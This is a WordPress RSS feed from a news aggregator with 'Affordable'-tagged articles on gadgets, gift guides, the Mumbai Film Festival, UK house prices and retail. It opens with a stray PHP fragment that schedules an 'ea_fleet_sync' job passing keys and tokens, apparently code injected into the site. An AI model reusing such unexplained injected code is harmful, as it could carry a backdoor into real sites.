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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Affordable – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 12 Mar 2019 20:43:51 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Affordable – Brief News https://briefnews.eu 32 32 Onewheel Pint is a more affordable, easier to ride electric board https://briefnews.eu/onewheel-pint-is-a-more-affordable-easier-to-ride-electric-board/ https://briefnews.eu/onewheel-pint-is-a-more-affordable-easier-to-ride-electric-board/#respond Tue, 12 Mar 2019 20:43:51 +0000 http://briefnews.eu/onewheel-pint-is-a-more-affordable-easier-to-ride-electric-board/

Future Motion’s Onewheel electric boards have added power and range over the years, but accessibility? Not so much. They’ve still been expensive and intimidating, not to mention clunky to carry around. That’s where the just-unveiled Onewheel Pint might help. It’s not only more affordable (relatively speaking) at $ 950, it’s gentler on newcomers who’d otherwise worry about crashing out.

Most notably, a Simplestop dismount feature streamlines the riding experience so that you won’t fly off while you’re still learning the ropes. It’s smaller (27 inches long) and lighter than past models, helping both its agility and portability. Future Motion drives that last point home by including a fold-out magnetic handle on the side — you’re clearly meant to carry this around for those moments you need

The catch? Not surprisingly, the Pint isn’t a long-range cruiser. You’re looking at 6 to 8 miles of range and a 16MPH top speed. The company pitches this as a board for coffee shop trips and the last leg of a commute, rather than something you’d ride all the way to work and back. While that seems appropriate, it does put the Pint at a disadvantage to the Boosted Mini X, which costs slightly more but roughly doubles the range.

You won’t have to wait too long to get the new Onewheel, at least. Future Motion has started pre-orders ahead of a May release, and those who buy in the first 48 hours (no later than March 13th) can snag bonus fenders, custom etched rails and other perks at no extra cost. The Pint still isn’t a trivial purchase by any stretch. It might, however, be the model that helps the Onewheel line expand beyond a niche audience.

Source: Onewheel, Business Wire

]]> https://briefnews.eu/onewheel-pint-is-a-more-affordable-easier-to-ride-electric-board/feed/ 0 22 affordable grooming gifts he’ll want to use year-round https://briefnews.eu/22-affordable-grooming-gifts-hell-want-to-use-year-round/ https://briefnews.eu/22-affordable-grooming-gifts-hell-want-to-use-year-round/#respond Sat, 22 Dec 2018 00:36:36 +0000 http://briefnews.eu/22-affordable-grooming-gifts-hell-want-to-use-year-round/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

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Holiday shopping for men — whether it be your dad, sibling, or significant other — can sometimes feel futile. His list is short, and so is your patience when it comes to gift hunting.

Instead of buying him another tie or a pair of socks that he doesn’t need, we recommend going with a quality grooming gift instead.

Since every man does some form of grooming on a regular basis, these are gifts he’ll get to appreciate year-round. Shaving kits, razors, body washes, facial cleansers, and colognes are just some of the many products guys use to stay looking, feeling, and smelling their best — and these are the best ones to gift this holiday season.

Most of these items are available with expedited shipping, and some should arrive within a few days’ time, so don’t stress too hard about your last-minute shopping — just remember that the sooner you order, the better your chances of a timely arrival.

Still shopping for more gifts? Check out all of Insider Picks’ holiday gift guides for 2018 here.


A high-end electric shaver

Braun

Braun Series 7 Electric Shaver and Trimmer, $ 169.94 (Originally $ 289.99) [You save $ 120.05]

The Braun Series 7 uses Sonic and AutoSense Technology to read their beard’s thickness and adjust the power of the shaver’s motor to deliver a close shave with just one stroke. By figuring out the optimal shave settings on its own, they’ll never experience another bad shave again. In addition to being a highly effective and precise shaver, it’s self-cleaning and lubricating.

Check out my full review of the Braun Series 7 Shaver here.

A durable Dopp kit from Patagonia

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Patagonia Black Hole Small Cube, $ 29, available in eight colors

Although it can be used to store a number of small items, the Patagonia Black Hole Cube is the ideal size for a traveling Dopp Kit — and it’s super durable. 

An electric toothbrush

Goby

Goby Brush Kit, $ 50, available at Goby

Most people don’t swap out their toothbrush as often as they should simply because they forget to do so. With the Goby Brush Kit, they’ll never have to worry about using an old toothbrush. For just $ 50, the kit includes a state-of-the-art of the art oscillating toothbrush, a hygienic stand, USB charger and a monthly subscription for brush heads. 

Order by December 26, 2018 for guaranteed delivery before Christmas.

Read our full review of the Goby toothbrush here.


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]]> https://briefnews.eu/22-affordable-grooming-gifts-hell-want-to-use-year-round/feed/ 0 These cleverly designed rugs are machine washable so I never have to worry about spills — plus they’re incredibly affordable https://briefnews.eu/these-cleverly-designed-rugs-are-machine-washable-so-i-never-have-to-worry-about-spills-plus-theyre-incredibly-affordable/ https://briefnews.eu/these-cleverly-designed-rugs-are-machine-washable-so-i-never-have-to-worry-about-spills-plus-theyre-incredibly-affordable/#respond Mon, 10 Dec 2018 11:53:12 +0000 http://briefnews.eu/these-cleverly-designed-rugs-are-machine-washable-so-i-never-have-to-worry-about-spills-plus-theyre-incredibly-affordable/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

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  • Rugs are a great home decor investment, but they’re difficult to maintain. More often than not, you’ve probably eschewed cleaning yours because it takes too much time and effort. 
  • Ruggable’s polyester chenille rugs ($ 59.30+) are affordable, attractive, and thanks to a two-piece system that separates the rug cover from a non-slip pad, easy to clean. 
  • I put together and washed a Ruggable rug in my own apartment, and the process went seamlessly. 
  • The company’s patented “Cling Effect Technology” kept the pieces together at all times, the rug didn’t slide around on my floor, and I didn’t have to follow any fancy, special instructions when machine-washing and drying it. 

Rugs are an essential part of home decor, providing the foundation upon which your furniture and other decor sit. However, they’re a huge pain to clean: you need to bring them outside and use a host of different tools and cleaners, or possibly spend a lot of money letting a professional take care of them. You start to wonder whether their aesthetic appeal is worth the inconvenience of care and maintenance. 

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]]> https://briefnews.eu/these-cleverly-designed-rugs-are-machine-washable-so-i-never-have-to-worry-about-spills-plus-theyre-incredibly-affordable/feed/ 0 Voices from the 20th Mumbai Film Festival: #MeToo, Affordable Art and 5 Great Films https://briefnews.eu/voices-from-the-20th-mumbai-film-festival-metoo-affordable-art-and-5-great-films/ https://briefnews.eu/voices-from-the-20th-mumbai-film-festival-metoo-affordable-art-and-5-great-films/#respond Tue, 13 Nov 2018 17:27:32 +0000 http://briefnews.eu/voices-from-the-20th-mumbai-film-festival-metoo-affordable-art-and-5-great-films/ mumbai film festival

The Mumbai Film Festival began as a modest affair, though with the sponsorship of Fox’s Star network and telecom giant Reliance Jio in recent years, it’s exploded into a prestigious destination for cinema the world over. This year, the festival’s 20th, saw both premieres of Indian art-house films as well as arrivals of various 2018 festival darlings — Cannes, Berlin, Venice, you name it — but what separates the Mumbai Film Festival (MAMI for short, after parent organization Mumbai Academy of the Moving Image) from most festivals with such a vast selection is affordability.

For just 500 rupees — or $ 6.90 at the time of writing — the festival affords week-long access to over 200 films from the world over. I personally met folks who had travelled from all corners of the country (some, even internationally) to watch heavy-hitters like Roma, Border, Diamantino and Burning, films that may not otherwise see theatrical release in all parts of the world. It feels celebratory, too; given that the lineup is spread across half a dozen locations within a 12-mile radius, MAMI essentially becomes a city-wide affair. Cinema ought to be for everyone, not just folks who can afford skyrocketing ticket prices or the latest streaming service, and in that vein MAMI succeeds.

However, the story of this year’s festival wasn’t just its 20th anniversary or the reduced cost of access, but rather, the festival’s commitment to India’s chapter of the #MeToo movement, which began to see numerous abusers and harassers called to be removed from positions of power in early October. With the festival set to begin on October 25, the folks at MAMI had decisions to make.

In a near-unprecedented move, the fest responded to recent allegations of sexual misconduct by pulling five films from its lineup: Kadhak starring accused actor Rajat Kapoor; Chintu Ka Birthday made by recently-dissolved comedy troupe All India Bakchod after their mishandling of abuse allegations; Queen produced by Anurag Kashyap’s similarly dissolved Phantom Films for mishandlings of allegations against director Vikas Bahl; Awake produced by Kashyap’s Phantom co-founder Vikramaditya Motwane; and Binnu Ka Sapna produced by Terribly Tiny Tales, whose founder Chintan Ruperal was accused of abuse by several women. All were dropped in the days and weeks leading up to the festival.

Shortly thereafter, filmmakers themselves began to follow suit, as Kannada-language film Balakempa (or The Bangle Seller), which had been racking up festival awards and nominations since 2017, was withdrawn so producers could investigate allegations made against its director, Ere Gowda. Through action (and eventually, through written statements), the Mumbai Film Festival had unquestionably thrown its support behind women coming forward.

Of course, the loss of these films did little to dull the shine of the final lineup, which boasted an embarrassment of riches in its Indian, French, International, Retrospective, midnight “After Dark” and children’s “Half-Ticket” selections, not to mention talks with filmmakers like Sean Baker, Darren Aronofsky and Lucrecia Martel. Everything from Rima Das’ Bulbul Can Sing (her follow-up to India’s 2019 Oscar submission Village Rockstars) to Phuttiphong Aroonpheng’s Thai refugee drama Manta Ray to Boots Riley’s Sorry to Bother You made waves during MAMI week until it closed with Steve McQueen’s Widows, with countless festival attendees waking up bright and early to make their online selections at 8:00 AM, or lining up for hours for stand-by entry once films inevitably sold out.

Granted, increased access makes for a bit of a chaotic affair (attendance this year was a record-breaking 13,000!), but the passion on display was unquestionable, and the lack of government film censorship (which applies only to public releases, not festivals) meant a refreshing widening of available content. Lars Von Trier’s The House That Jack Built featured an expected number of walkouts, but that something so unapologetically violent played in Mumbai at all feels like a blessing. 

I could spend hours talking about the films that played at MAMI this year. Thankfully, I managed to cover the likes of Cold War, Non-Fiction, Wildlife, Shoplifters, 3 Faces, High-Life, The Wild Pear Tree and Ash is Purest White at the New York Film Festival, which provides a little breathing room to discuss a handful of works that may not have otherwise received the spotlight. So, without further ado, here are 5 highlights from the 20th Mumbai Film Festival.

1. Climax (Gaspar Noé)

France, English/French

An intoxicating, adrenaline-fueled descent into Hell, Climax isn’t just the latest Gaspar Noé film, but perhaps the most Gaspar Noé film as well. It’s societal destruction told through dance, bringing down the narrow wall between violence and performance art and sending its two dozen or so perfomers down a rabbit-hole of LSD-infused aggression, insecurity and sexual impulse; pure id turned to carefully constructed (yet free-flowing) character drama. Even at a mere 86 minutes, it packs in a world of garish, neon-washed hedonism, playing out in the form of long-takes as its unique characters reach the end of their inevitable collision courses. If society is truly at a tipping point, this is the most unsettling, most alluring depiction of the end of the world. (Full Review)

2. The Image Book (Jean-Luc Godard)

Switzerland, French

Even at 87 years of age, Jean-Luc Gard remains one our most transgressive filmmakers. What his 1960 film Breathless was to the neatly constructed American studio-zeitgeist, The Image Book is to the chaotic age of New Media. More abstract video essay than straightforward narrative, Godard laments the inability of the modern moving picture to accurately reflect the violence of the 21st century, an era defined by America’s war on the Middle East and by images that we have total manipulative control of. In response, he twists and contorts images of violence until they begin to feel violent themselves, un-writing the rules of cinematic language he helped pen in the first place before proceeding to tell a story through some new form of unsettling visual lingua franca that we aren’t quite ready for. (Full Review)

3. MA•AMA (Dominic Sangma)

China/India, Garo

Beginning with a poetic dream sequence in which the aged Philip Sangma (played by the director’s father) fails to find his long-departed wife amongst a sea of silent women, MA•AMA immediately scales back upon its return to the real world, approaching Philip through a neo-realist lens as he embarks on one final spiritual quest before his passing. He seeks religious guidance to answer a nagging question about the after-life: when he dies, and if he’s re-united with his wife, will she look the same as she did when she died? Or would she have aged like he has? A story about regret and embracing death with open arms (in which the director plays a version of himself desperate to re-create the memories of a mother he never knew), MA•AMA is one of the most haunting and unique films to come out of India in recent memory, and Dominic Sangma is the closest thing the nation has to Apichatpong Weerasethakul.

4. Rafiki (Wanuri Kahiu)

Kenya, English/Swahili

The most poignant moment in Rafiki comes in late in the film, in the form of two queer strangers sitting side-by-side, commiserating in silence as their scars do all the talking. Banned in Kenya due to its “homosexual theme and clear intent to promote lesbianism in Kenya contrary to the law,” it’s a film whose very existence feels dangerous (anyone in possession of it might be jailed) and yet, it’s a joyous, defiant rebuke that justifies the need for its own presence in the culture at large. A love story between the daughters of two political opponents (Samantha Mugatsia’s boyish Kena and Sheila Munyiva’s otherworldly, rainbow-haired Ziki), Rafiki is African queer cinema at its bravest, washing its entire palette in soft and comforting pink as the pair fall in love, before whipping back to the harsh realities of queerness in Kenya, from mob violence to the structures that grant it permission. And yet, it proves to be one of the rare films of its ilk that post-scripts realistic atrocities with a promise of a life fully lived, even after the trauma.

5. Supa Modo (Likarion Wainaina)

Kenya, English/Sheng/Swahili

In a just world, Rafiki might have been Kenya’s submission to the 2019 Oscars, though the film sent in its stead is still worth talking about. In Supa Modo, brilliant child actress Stycie Waweru is tasked with playing Jo, a terminally ill girl living out her last days pretending to be a superhero. Her mother Kathryn (Marianne Nungo), a midwife who brings life into their township, shoulders the harsh reality of Jo’s impending passing, while Jo’s sister Mwix (Nyawara Ndambia) fights to deal with the bitterness of loss by giving in to Jo’s fantasies, convincing her neighbors to play out elaborates scenarios in which Jo saves the day. Neither woman is necessarily wrong — the camera is playful as it follows Jo on her adventures, yet suitably still when her illness takes hold — but where Likarion Wainaina’s debut especially succeeds is in capturing the struggle to find balance and makes sense of unspeakable tragedy, as the forces of denial and acceptance continue to collide.

Supa Modo is a delicate film, one that even manages to be joyful at times. As part of the festival’s Half-Ticket selection (along with the likes of Ponyo and A Wrinkle in Time), the film was contextualized for the largely child audience in attendance with the requisite tenderness. Not only as a film with heavy subject matter, mind you, but as art by and about a culture and people often looked down upon; anti-blackness, after all, is globally pervasive. When the film was introduced to the kids in the audience, the moderator’s approach was to connect the dots between the multitude of languages spoken on screen and the many tongues one tends to hear in India, thus opening the door for children present to connect more readily to different cultures, priming future cinema-goers for the world outside their walls.

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At this point in our collective history, standing on the side of justice and preparing future generations to be more open, more loving and more accepting is the best that curators of art and culture can hope to do. In that vein, the Mumbai Film Festival is beyond exemplary. The hashtag used in relation to the fest is #JioMAMI, which, while a branding effort on behalf of Reliance Jio, also translates to “Long live MAMI.” The sentiment is hard not to endorse.

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]]> https://briefnews.eu/voices-from-the-20th-mumbai-film-festival-metoo-affordable-art-and-5-great-films/feed/ 0 Let’s Applaud These Affordable Cars for Their Tesla Model 3-like Crash Safety https://briefnews.eu/lets-applaud-these-affordable-cars-for-their-tesla-model-3-like-crash-safety/ https://briefnews.eu/lets-applaud-these-affordable-cars-for-their-tesla-model-3-like-crash-safety/#respond Mon, 24 Sep 2018 08:38:35 +0000 http://briefnews.eu/lets-applaud-these-affordable-cars-for-their-tesla-model-3-like-crash-safety/ Sorry, was that too snarky? Our headline alludes to the National Highway Traffic Safety Administration’s recent awarding of five stars in all crash test categories to the Tesla Model 3 — a bit of news that’s made the rounds lately. It’s a worthy achievement, so hats off to Tesla for building a car that can take […]

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]]> https://briefnews.eu/lets-applaud-these-affordable-cars-for-their-tesla-model-3-like-crash-safety/feed/ 0 Most affordable areas in the UK for first-time buyers REVEALED – you might be surprised https://briefnews.eu/most-affordable-areas-in-the-uk-for-first-time-buyers-revealed-you-might-be-surprised/ https://briefnews.eu/most-affordable-areas-in-the-uk-for-first-time-buyers-revealed-you-might-be-surprised/#respond Wed, 12 Sep 2018 00:54:59 +0000 http://briefnews.eu/most-affordable-areas-in-the-uk-for-first-time-buyers-revealed-you-might-be-surprised/

The most affordable areas in the UK for first-time buyers have been revealed, thanks to new research from the Post Office.

Post Office Money revealed today the top 10 areas in the UK for first-time buyers to get onto the housing market.

The research also revealed that the average first-time buyer will have to spend four years cutting back in order to stand a chance of getting on the property ladder.

The study of more than 1,000 first-time buyers also showed that those looking to buy for the first time have to make compromises to be able to save for their first home.

Blackpool topped the list of areas for first-time buyers, with the average house prince coming in at £112,000.

According to the research, 100 per cent of the area is affordable for buyers, with someone receiving an average of £39,000 a year able to save in four years.

Close behind Blackpool was Lincoln, with the average house price £143,950.

First-time buyers will also have to save for four years, on a salary of a slightly higher £39,834.

Other areas on the top 10 list include Hull, Rotherham, Stoke-on-Trent, Southhampton, Barnsley and Wigan.

Research by the Office for National Statistics also revealed that the average deposit for first homes in the UK last year was £51,500.

Figures varied from £21,571 in Blackpool to £173,431 in London, with 70 per cent of the deposit made up of savings.

Talking about first-time buying and the struggle it is for young people to get on the property ladder, Ross Hunter of Post Office Money commented: “While many prospective buyers choose to make lifestyle compromises as they save towards their first home, there is no ‘right way’ to reach your deposit goals.

“Some FTBs will prefer to take longer saving for a deposit rather than cut back on their monthly spending (23 per cent), whereas others will be willing to compromise on the property itself (17 per cent).

“Half of all FTBs (56 per cent) will also turn to their family for financial assistance to help build their deposit.

“One inevitable element of the house hunt that all buyers will need to contend with is finding an affordable area in which they can invest their hard-earned money.

”Post Office Money has also launched a new online tool, allowing new buyers to map out their deposit plans based specifically on property affordability in their chosen area: www.postoffice.co.uk/mortgages/this-is-my-home ”

Top 10 most affordable areas for first-time buyers

County                   City            Average house price      FTB income

Lancashire              Blackpool          £112,000                 £39,611

Lincolnshire            Lincoln              £143,950                 £39,834

East Yorkshire         Hull                  £110,000                 £37,840

South Yorkshire      Rotherham        £133,000                 £37,840

West Midlands        Sandwell           £137,950                 £41,024

Staffordshire          Stoke-on-Trent  £110,000                 £41,024

Hampshire             Southampton    £210,000                  £56,429

Greater Manchester Tameside         £137,500                 £39,611

South Yorkshire      Barnsley           £124,995                £37,840

Greater Manchester Wigan             £130,250                 £39,611

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]]> https://briefnews.eu/most-affordable-areas-in-the-uk-for-first-time-buyers-revealed-you-might-be-surprised/feed/ 0 It can be hard to find affordable wireless headphones that actually sound good — but this $100 pair fits the bill and then some https://briefnews.eu/it-can-be-hard-to-find-affordable-wireless-headphones-that-actually-sound-good-but-this-100-pair-fits-the-bill-and-then-some/ https://briefnews.eu/it-can-be-hard-to-find-affordable-wireless-headphones-that-actually-sound-good-but-this-100-pair-fits-the-bill-and-then-some/#respond Thu, 23 Aug 2018 13:19:02 +0000 http://briefnews.eu/it-can-be-hard-to-find-affordable-wireless-headphones-that-actually-sound-good-but-this-100-pair-fits-the-bill-and-then-some/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

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  • I don’t like dealing with complicated tech or specs.
  • But I do really like these simple, affordable wireless headphones by RHA that cost $ 99.95 on Amazon (side note: the black pair are cheaper than the white).
  • They sound just as good as my in-ear Bose SoundSports, and come with volume controls and a built-in microphone, too.

I am pretty bad with tech. It’s not that I don’t know how to use it, it’s just that I’m impatient; I hate setting up new gadgets, and I feel intimidated by all the language used to describe them. You’ll never get me exited by talking about LED zones or OLED displays or any kinds of bits or bytes because I honestly have no idea what any of that means. 

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]]> https://briefnews.eu/it-can-be-hard-to-find-affordable-wireless-headphones-that-actually-sound-good-but-this-100-pair-fits-the-bill-and-then-some/feed/ 0 Tern Link A7 Review: Affordable and Foldable https://briefnews.eu/tern-link-a7-review-affordable-and-foldable/ https://briefnews.eu/tern-link-a7-review-affordable-and-foldable/#respond Thu, 16 Aug 2018 12:47:13 +0000 http://briefnews.eu/tern-link-a7-review-affordable-and-foldable/ If you’re on the fence about folding bikes, try this one.


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]]> https://briefnews.eu/tern-link-a7-review-affordable-and-foldable/feed/ 0 Declining cryptocurrency prices are making graphics cards affordable again https://briefnews.eu/declining-cryptocurrency-prices-are-making-graphics-cards-affordable-again/ https://briefnews.eu/declining-cryptocurrency-prices-are-making-graphics-cards-affordable-again/#respond Tue, 24 Jul 2018 06:34:24 +0000 http://briefnews.eu/declining-cryptocurrency-prices-are-making-graphics-cards-affordable-again/

Enlarge / Data from PC Part Picker (credit: Timothy B. Lee, data from PC Part Picker)

About a year ago, graphics card prices started to go crazy. Then in early 2018, things got even crazier. The price of a Radeon RX 570—a mid-range graphics card popular for cryptocurrency mining—soared from under $ 200 in April 2017 to over $ 450 in February 2018. Over the same period, a high-end RX 580 soared from around $ 230 in April 2017 to as much as $ 540 in February 2018.

But since then, graphics-card prices have been falling steadily, according to data collected by PC Part Picker. An RX 570 fell to around $ 350 by the end of April. And you can now get one for a bit more than $ 300. An RX 580 now goes for around $ 330.

When I visited my local Best Buy back in January, the store was asking for $ 529.99 for a Radeon 580 with 8GB of memory—and the store didn’t even have them in stock at that price. By late April, the same card was available from Best Buy’s website for $ 419.99. Now, the same card is selling for $ 339.99.

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]]> https://briefnews.eu/declining-cryptocurrency-prices-are-making-graphics-cards-affordable-again/feed/ 0 Sales are soaring at Meghan Markle’s favorite affordable brand. Here’s everything you need to know about it. https://briefnews.eu/sales-are-soaring-at-meghan-markles-favorite-affordable-brand-heres-everything-you-need-to-know-about-it/ https://briefnews.eu/sales-are-soaring-at-meghan-markles-favorite-affordable-brand-heres-everything-you-need-to-know-about-it/#respond Thu, 19 Jul 2018 13:36:06 +0000 http://briefnews.eu/sales-are-soaring-at-meghan-markles-favorite-affordable-brand-heres-everything-you-need-to-know-about-it/ meghan markleChris Jackson / Getty

  • When Meghan Markle or Kate Middleton wear a new item in public, it’s not uncommon for it to sell out almost immediately. 
  • Canadian retailer Aritzia told investors that it had experienced a boost in sales in the first quarter after Markle had been photographed wearing its clothing. 
  • “By all accounts, Meghan remains a huge fan of Aritzia,” the store’s CEO and founder, Brian Hill, said during a call with investors. 

The world has gone Meghan Markle mad, and it’s playing into the hands of the brands she chooses to dress in. 

Markle has followed in the footsteps of her sister-in-law, Kate Middleton, to become a global style icon. It’s not unusual for any items that are worn publicly by either of these women to sell out almost immediately.  

Canadian retailer Aritzia is the latest store to see a boost from this. In its most recent quarterly results, reported in July, the company said that same-store sales were up by 10.9%. Part of its success was attributed to its celebrity endorsements, including Meghan Markle, the company said.

“By all accounts, Meghan remains a huge fan of Aritzia,” CEO and founder Brian Hill told investors during a call this month.

Hill added that after Markle was photographed in one of the company’s trench coats, it sold out within six hours.

While Markle is actually from the United States, she spent seven years in Toronto filming on the set of “Suits,” and it was here that she likely came into contact with the brand.

Aritzia isn’t the only designer to profit from the so-called “Meghan effect.” When Markle and Prince Harry announced their engagement in November, Markle’s $ 750 white coat from Canadian brand Line The Label sold out minutes after the photos were released, crashing the brand’s website. 

The P.A.R.O.S.H. dress and Aquazzura shoes she wore also sold out almost immediately.

Find out more about the affordable Canadian brand that Markle loves:

Aritzia was founded in Vancouver in 1984.

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Source: Aritzia 

Since then, the company has grown to have 65 stores in Canada and 22 in the US.

Business Insider/Mary Hanbury

Aritzia did not immediately respond to Business Insider’s request for comment on whether it has plans to grow in the US.

The store sells a mix of its own labels …

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